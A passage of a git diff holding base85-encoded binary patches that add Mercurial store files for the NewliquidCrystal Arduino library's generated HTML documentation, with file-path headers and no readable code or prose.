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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..e3a9759df6d499adfbcbff2cb2fe4abaecc06162 GIT binary patch literal 2161 zcmV-%2#)sv0RRC20000000=Pv03T5R00000005}}|NsC0|Ns9I-2})Yd={pyKNbkh zL%y#@2!G`1675+KRUZ74m=fzuAq z%e|j6vMoC3klbip3{e)&JW$5d- zj~C|?ggdT#yEk#&)0WRd0oLI}ETkfAdfuDZmPZZskn5`{Fxzv2 zJV$2939^keo zN=ig9bM52#6l5ThTs3>XlR2@i7)cSVQvNRSc<9;zZ3#mDu!w2)eBN$pSD%Lq#52Z8 zIC^i{eB=+#m+YD{8mMzc(;aX3H5gMV4-lOa4dk5ED_ya0G@P~*nNk6=|!`|jk`Ng395+9;iHV>@ zH-d4&0RqaHcBUkYN7%#WJ11dSevh}%P-&Hz7m!mc5n_ZU@k||~gTwscL=S?_(6Gn_ z{|;(mJm#>xB#jYa5Cs?d+gea}edau7)cKyrpnGt=up&{?FD2+O8UYv2IiRU!gX*=E zj53l^+>D@i+ucL&WC&}@TH}h;rvi_=PS5Frrl1=b1F^MKeUZ?pMHY3C{?cJBI70y= zQleP`wg&?&5VNBkbSij`k_=ofXAq(~W>LfiQZtHLu~-pyYAH%Rz(d%F)jPasOX-(t zU?puv=7QgMu@%S0t5p*k7Oc_A5~<1#=wiuuNXj@#vXDMF7Tb){#+M|?tP;PHnAWNy z@DCH$(I8pIm5zZHor&g7<ATbh$Zzoy6ijbmrOr1y- zCfu35i`B`{HQhsB=%i}hPyrkJ^TsBb(oiIyH~RLg;ISa-Ge-YYa2P?V#Zgwp?KC1% zO_M2~4rWuy3lY%L`Ocu@{EIWwMla{Tjsr8Mng*quJe!&ITF!N>mvTt3ykV)cKIjhH7FpC!L31=zSSLFp0AYq4n-$K27FZMsArB z8gh?_T(#%J16>*=ZWGVzANbyWHyrec@9+1cUjHZz=>DKb`@T2m<1v`> z)8EsN=QqZbM!@FpN6+)R@bCS`N{B*2dcN=Xf}lG%=zHGaaGwN&uutG4prKL1)%A~* zU{vs1D}j2n8_}cQe$S)P;bGrD8tlOv^}U0mU~sT!m2mq*Pv|~ULVYBdLD=i4vT*|k z(4f#82+`#Y6GU4}@ktiUxUebRGd$Epxjy3RqqHLNF|wfwhqstd`VQ z&uJ@ChdcnOG&UPsnF16d3Qmr|`ISD_MDA?{5*~ux;KyVp0NEO?e+KQR_8}OiSvh7i z*jh;{*8AONP?RSGW;dkXjd(gc(-6J{U@D`h78bni6Af9VI$ffZgRgr9Epsb|4x={4m z@{lQ;0RL>`w7=-0s-851ZdoN?Qwy2%B;4_KF|Y|(65Op;XBq`|+^)aaK2Y5y5pV{r z@;Gzy{}*E>c7L)A-IvHv7dwBx9KDywQPxR+z7%^elA_2=*DsM||0RUn0oiO9W|DuS(3app`@dc83;dS$43qnVKcqF{MXy(*-Lb(6+l4$XYc{ zjSdxQUBz6tKGWSOch>ujtrWD$;x()^6W4O7kysy&Dt$zp1N!PpDG5VZj$G*g?WKgV z@$xngHmmC*L!dvjk9uCWhkD)PZvWWpo9mqB&5&Q-IV~%OjVt8p9#Y>UH}6`uOx?FF ng;h{BV_D%XTgpOjdAkVKG$KQjU6NjSbz`J?jJN&=Xh9B}MyVrI literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c48679d9eda2ae16ee7c7e01b91eb6a722015710 GIT binary patch literal 6718 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 